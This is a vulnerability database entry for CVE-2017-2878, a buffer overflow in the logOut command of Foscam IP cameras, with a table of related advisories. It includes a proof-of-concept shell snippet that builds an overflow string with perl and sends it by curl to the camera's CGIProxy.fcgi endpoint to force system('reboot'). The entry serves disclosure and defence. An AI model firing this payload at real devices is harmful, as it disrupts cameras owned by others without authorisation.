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Foscam IP Video Camera CGIProxy.fcgi logOut Code Execution Vulnerability(CVE-2017-2878)
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | Foscam IP Video Camera Buffer Overflow Vulnerability (CNVD-2017-34270) | 15 Nov 201700:00 | – | cnvd |
 | CVE-2017-2878 | 19 Sep 201816:00 | – | cve |
 | CVE-2017-2878 | 19 Sep 201816:00 | – | cvelist |
 | EUVD-2017-12019 | 7 Oct 202500:30 | – | euvd |
 | CVE-2017-2878 | 19 Sep 201816:29 | – | nvd |
 | Buffer overflow | 19 Sep 201816:29 | – | prion |
 | Foscam IP Video Camera CGIProxy.fcgi logOut Code Execution Vulnerability | 13 Nov 201700:00 | – | talos |
 | Vulnerability Spotlight: Multiple Vulnerabilities in Foscam C1 Indoor HD Cameras | 13 Nov 201707:43 | – | talosblog |
This vulnerability is reachable by the "logOut" command and requires a valid user account with (at least) "visitor" privileges. The following proof of concept overwrites the saved PC and the register %r4, in order to call "system("reboot")". Multiple attempts are needed to succeed.
```
$ sUsr="visitor"
$ sPwd=""
$ sBof="$(perl -e 'print "A"x0x2c,"%12%a7%48%40BBBB%d8%f0%01%00"')"
$ curl "http://$SERVER/cgi-bin/CGIProxy.fcgi?
cmd=logOut&usr=${sUsr}&pwd=${sPwd}&usrName=${sBof}"
```
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14 Nov 2017 00:00Current
8.2High risk
Vulners AI Score8.2
EPSS0.01281